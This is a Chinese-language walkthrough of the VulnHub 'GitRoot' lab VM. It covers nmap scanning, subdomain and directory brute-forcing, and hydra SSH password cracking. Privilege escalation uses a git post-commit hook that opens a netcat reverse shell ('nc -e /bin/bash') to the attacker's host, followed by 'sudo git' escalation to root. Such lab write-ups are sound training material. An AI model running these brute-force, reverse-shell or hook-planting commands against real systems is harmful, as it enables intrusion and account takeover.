文章目录
- 1. 主机发现
- 2. 端口扫描
- 3. 服务枚举
- 4. 服务探查
- 5. 系统提权
- 6. 写在最后
靶机地址:https://download.vulnhub.com/gitroot/GitRoot.ova
1. 主机发现
目前只知道目标靶机在192.168.56.xx网段,通过如下的命令,看看这个网段上在线的主机。
$ nmap -sP 192.168.56.0/24
因为56.100和56.108是已知主机,所以锁定靶机地址为192.168.56.103。
2. 端口扫描
通过下面的命令扫描一下靶机的端口。
$ sudo nmap -p- 192.168.56.103
端口不多。
3. 服务枚举
通过下面的命令枚举一下端口上运行的服务。
$ sudo nmap -p22,80,11211 -A -sT -sV 192.168.56.103
扫出来的信息也不是很多,直接上手看看再说。
4. 服务探查
先通过浏览器访问一下80端口。
就是一个简单的页面,不过也是得到了一些信息,人名Jen,可能又是wordpress,还有个域名地址wp.gitroot.vuln。看一下sourcecode。
没啥奇怪的,直接扫描一下目录。
扫描出来的内容少的可怜啊,再用dirb挂上big字典扫描一下试试看。
$ dirb http://192.168.56.103 /usr/share/wordlists/dirb/big.txt
是多了一点,貌似也没啥实质性内容。再看看11211端口上是啥,上网搜了一下,貌似是这Memcached的服务端口。
$ telnet 192.168.56.103 11211
如上图所示,这说明端口未加任何防护,通过version命令看是否可以看到版本信息。
没啥动静,通过stats命令查看一下常规统计信息。
仍然没反应,获取一下slab统计信息。
还是没反应,直接用libmemcached-tools工具看是否可以转储数据出来。先安装一下。
$ sudo apt install libmemcached-tools
然后运行一下。
$ memcstat --servers=192.168.56.103
竟然超时了,再试一下,仍然超时。到这里了也没啥收获,直接用用户jen看是不是可以爆破一下ssh登录吧。
$ hydra -l jen -P /usr/share/wordlists/rockyou.txt -t 2 -vV -e ns 192.168.56.103 ssh
可是一直没有爆破成功。感觉没有头绪了,想起前面页面上还有个域名wp.gitroot.vuln没有用到,还有可能的wordpress在这个域名上。将靶机的地址指向这个域名,再枚举一下目录。
$ dirsearch -u http://192.168.56.103
没有扫出来,挂上big字典试试。
$ dirb http://192.168.56.103 /usr/share/wordlists/dirb/big.txt -X .php
没效果,既然说到了wordpress,直接用wpscan试试看。
$ wpscan --url wp.gitroot.vuln
扫出了一些东西,加上-e u参数,也没有枚举到用户。不过刚才有个jen用户,直接用这个用户爆破一下试试看。
$ wpscan --url wp.gitroot.vuln -U jen -P /usr/share/wordlists/rockyou.txt
无果,既然用域名能够找到wordpress,直接用这个域名枚举一下目录试试看。
$ dirsearch -u http://wp.gitroot.vuln
确实能够扫出来,进到首页看看,(这里只能用http://wp.gitroot.vuln
直接输入域名是不可以的)。
额,又一个用户beth,这个我们前面用wpscan枚举用户的时候,枚举出来了,不过没有细看。
那就直接爆破一下这个用户吧。
仍然无果,hydra爆破一下ssh看看这个用户,也没有爆破出来。看来只能顺着wp的版本和那几个插件入手了。
貌似上图中的有搞头,试试看。
这个在我本地试了一下,没有用,还是挂上big字典扫描一下域名下还有没有其它的php页面吧。
$ dirb http://wp.gitroot.vuln /usr/share/wordlists/dirb/big.txt -X .php
还真多了一个,访问一下看看。
看一下sourcecode。
越来越有靶机的尿性了,难道访问的时候加上id=xxx?试试看吧。
不靠谱,到这里,感觉所有挖出来的线索都使用过了,毫无进展。但是有一点是肯定的,这个靶机有不少隐藏的目录和页面,每次扫描都有新的发现,直接上网搜索一下,这里重点参照了这篇文章(https://blog.csdn.net/cjstang/article/details/125583296
),感谢大佬。
我们直接用gobuster看看这个域名下面还有什么隐藏的东西。
$ gobuster dns --delay 2500ms --domain gitroot.vuln -w ~/OSCP/GitRoot/subDomainsBrute-master/dict/subnames.txt
发现了在gitroot.vuln下面还有子域名repo,直接进去看看。
貌似是代码托管的地方,这里还涉及到了两个页面get.php和set.php。手工访问一下这两个页面看看。
看不出啥,直接dirsearch扫描一下这个子域名。
$ dirsearch -u http://repo.gitroot.vuln/
确实是一个代码托管的地方,内容还真是不少,逐个看一下,以我的认知,只在/.git/logs/refs/heads/master下面发现了貌似还有个用户pablo,其他的说实话,我没看出啥,如下图。
还是用hydra爆破一下这个用户吧。
$ hydra -l pablo -P /usr/share/wordlists/rockyou.txt -t 2 -vV -e ns 192.168.56.103 ssh
我这里没有爆破出来,后来查看网上的资料,确实是可以爆破出来的,但是非常耗时,我爆破了一夜,也就是跑了三万多个,最终爆破出来的结果如下图(借用大神的图片)。
登录试一下。
成功了,拿到pablo用户的flag。
5. 系统提权
查看系统信息。
然后运行一下linpeas。
首先有一个highly probale的内核提权漏洞,如下图。
不过这个漏洞跟我们前面查出来的内核版本不匹配,用不上,另外一个是ptrace保护被禁用了,可能导致sudo的tocken被滥用。
可惜的是这几个都试了一下,没有提权成功,再回过头看看pablo用户下还有些啥。除了之前看过的之外,.bash_history定位到了null,不会留有信息,还有就是public了,进去看看.
里面有个message文件,看看内容。
貌似若有所指,感觉还是跟托管的那一堆代码有关系,并且发现另外两个用户也有这个public目录,如下图。
总感觉这个目录跟那个repo有关系。直接搜索一下看看有没有.git文件夹吧。
pablo@GitRoot:~/public$ find / -name ".git" 2>/dev/null
嗯,搜索出来两个,代码应该应该就在这两个地方了,进去看看。
内容基本上一致,更新时间差了一天,我们先看最新的一个,既/opt/auth/.git/,说实话,之前没有对git做过详细研究,不知道git的目录结构,以及哪些文件是我们应该关注的。这里感谢CSDN上maove大佬的文章给了明确的说明,直接上链接https://blog.csdn.net/start_mao/article/details/94609238
。从这文章里,我们了解到主要的提交信息保存在logs下的HEAD文件中,进去看看。
完全看不明白干了些啥,不过有一行的commit信息,跟其他的不一样,意思是添加了一些用户?
不过还不知道怎么看具体的提交详情,上网搜了一下,通过git show命令可以查看,具体执行一下。
pablo@GitRoot:/opt/auth/.git/logs$ git show b2ab5f540baab4c299306e16f077d7a6f6556ca3
pablo@GitRoot:/opt/auth/.git/logs$ git show 06fbefc1da56b8d552cfa299924097ba1213dd93
还真有些内容,感觉这个r3vpdmspqdb就是添加的用户的密码,反正就是三个用户,还剩俩:jen和beth,逐个试试。
是beth的密码,先看看这个用户的家目录里面有些啥。这次同样的发现了一个public目录,包含一个名为addToMyRepo.txt,进去内容。
意思是让这个beth用户添加一个zip文件到~jen/public/repos/目录下,jen就会解压并添加到jen用户的repo中。感觉这里貌似可以创建反弹shell。我们直接创建一个shell的反弹shell然后压缩成zip文件放到这个目录下,并建立监听试试看。
包含反弹shell的文件名为my_revers,内容如下。
赋予777的权限,并用zip命令压缩一下。
beth@GitRoot:~$ chmod 777 my_revers
beth@GitRoot:~$ zip myrevers.zip my_revers
额。竟然失败了,看看有没有7z之类的应用。
有7z,那就用7z压缩一下。
beth@GitRoot:~$ 7z a myrevers.zip my_revers
然后把zip包也赋予777权限吧。
beth@GitRoot:~$ chmod 777 myrevers.zip
本地建立监听。
$ nc -lvnp 8888
将zip包放到对应的目录下面。
beth@GitRoot:~$ mv myrevers.zip /home/jen/public/repos/
静静等待,可是我这里一直没有反弹成功。到此为止,没有提权成功,还是回过头去继续看看CSDN上cjstang文章。其实cjstang也是在这里建立反弹shell的,不过没有我这么简单粗暴,仿照cjstang的方法试一下。
beth@GitRoot:~$ mkdir -p .git/hooks
beth@GitRoot:~$ cd .git/hooks/
beth@GitRoot:~/.git/hooks$ echo '#!/bin/bash' > post-commit
beth@GitRoot:~/.git/hooks$ echo '/usr/bin/nc -e /bin/bash 192.168.56.108 8888' >> post-commit
beth@GitRoot:~$ pwd
beth@GitRoot:~$ chmod 777 .git/hooks/post-commit
beth@GitRoot:~$ 7z a xshell.zip .git/
beth@GitRoot:~$ ls -lah xshell.zip
beth@GitRoot:~$ chmod 777 xshell.zip
beth@GitRoot:~$ cp xshell.zip /home/jen/public/repos/
等了不到一分钟,果真反弹shell有了反应,如下图。
看看能不能用吧。
确实进入了jen用户下面,用pty优化一下shell。
whereis python
/usr/bin/python3.7 -c "import pty; pty.spawn('/bin/bash')"
没啥好搞的了,直接jen用户下运行linpeas吧。
首先发现了一个add.sh脚本,貌似是个定时任务。
除此之外,貌似也没发现什么特别的内容,宣告提权失败,看看cjstang大佬怎么搞的。
cjstang在.viminfo文件中发现了之前的一些命令行历史信息,如下图。
上图中所示的字符串比较可疑,看看是不是jen用户的密码,其它用户的密码都已经拿到了。
binzpbeocnexoe确实是jen用户的密码,可以直接通过密码进行shell的登录。不过刚才我们在jen目录下也没找到啥呀。既然有密码了,再次sudo -l试试看
貌似git命令具有sudo权限,可惜我不会用,gtfobins上搜搜一下。
还真有,试试看。
结果用第二个方式提权貌似成功了,如下图。
jen@GitRoot:~$ sudo git -p help config
!/bin/sh
验证一下,并获取flag。
确实提权成功,本次打靶很不顺利,多亏了网友的文章参照。
6. 写在最后
这个靶机虽然没有自己拿下,这是一个小小的遗憾,值得欣慰的是通过网上的walkthrough,学到了不少之前没有接触过的内容,比如通过gid的HEAD文件查看commit的提交详情、通过sudo git提权等。再次感谢CSDN上的cjstang和maove两位大佬。